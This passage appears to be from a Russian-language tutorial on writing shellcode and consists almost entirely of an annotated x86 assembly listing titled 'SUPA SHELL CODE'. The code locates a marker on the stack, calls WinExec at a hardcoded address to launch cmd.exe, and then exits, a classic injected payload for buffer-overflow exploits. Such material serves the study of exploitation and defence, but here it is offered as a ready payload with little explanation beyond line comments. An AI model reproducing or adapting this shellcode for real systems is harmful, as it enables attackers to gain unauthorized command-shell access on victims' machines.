Рассмотрим листинг:

.386                           

.model flat, stdcall           

extrn ExitProcess:proc         

.data                         

start:          

;---------------[ SUPA SHELL CODE]------------------------

nach:

           push   1            ; Параметр для вызова WinExec

           mov    esi,esp             ; Устанавливаем esi на стек

try:                           ;

           lodsd               ; Ищем текстовую строку

           cmp    eax,012345678h      ; с именем программы

           jne    try          ;

           push   esi          ; Нашли, положим, смещение

                               ; в стек

           mov    eax,77e684c6h ; Кладем в eax адрес функции

           call   eax          ; Вызываем WinExec -> cmd.exe

           nop                 ; Эти nop для выравнивания

           nop                 ; на границу двойного слова

           xor    eax,eax             ; Обнуляем eax

           push   eax          ; Кладем 0 в стек (параметр)

           mov    eax,77e75cb5h ; Кладем в eax адрес функции

           call   eax          ; Call ExitProcess

name1:

           dd     012345678h   ; "Метка" имени программы

           db     'cmd.exe',0  ; Имя программы

kon:

;---------------------------------------------------------

.code